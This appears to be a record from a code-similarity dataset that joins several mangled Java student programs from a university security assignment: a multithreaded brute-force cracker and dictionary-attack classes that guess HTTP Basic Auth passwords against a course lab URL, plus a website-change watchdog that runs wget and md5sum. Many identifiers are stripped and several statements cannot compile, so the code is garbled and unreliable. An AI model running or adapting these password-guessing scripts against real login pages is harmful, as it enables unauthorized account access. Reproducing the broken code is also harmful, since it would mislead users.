System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
|
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String dictionary="words";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println("Dictionary not found.");
}
catch(IOException e)
{
System.out.println("Error dictionary");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
051.java | 136.java | 0 | import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = "";
String pword = "null";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + ":" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println("in catch");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty ("Authorization", " " + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword);
doConnect(i, i+1);
}
else
{
System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
System.out.println( +"\tPassword : "+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String("Report of WatchDog");
int i;
try
{
prss = rt.exec("md5sum first.html");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println("this is of first.html--->"+initialmd5);
prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");
prss = rt.exec("md5sum present.html");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println("this is of present.html---->"+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println("The checksum found using md5sum is same");
else
{
prss = rt.exec("diff first.html present.html > diff.html");
System.out.println(" is different");
prss = null;
mesg1 ="php mail.php";
prss = rt.exec(mesg1);
}
prss = rt.exec("rm present.*");
}catch(java.io.IOException e){}
}
}
|
062.java | 136.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
|
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String("Report of WatchDog");
int i;
try
{
prss = rt.exec("md5sum first.html");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println("this is of first.html--->"+initialmd5);
prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");
prss = rt.exec("md5sum present.html");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println("this is of present.html---->"+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println("The checksum found using md5sum is same");
else
{
prss = rt.exec("diff first.html present.html > diff.html");
System.out.println(" is different");
prss = null;
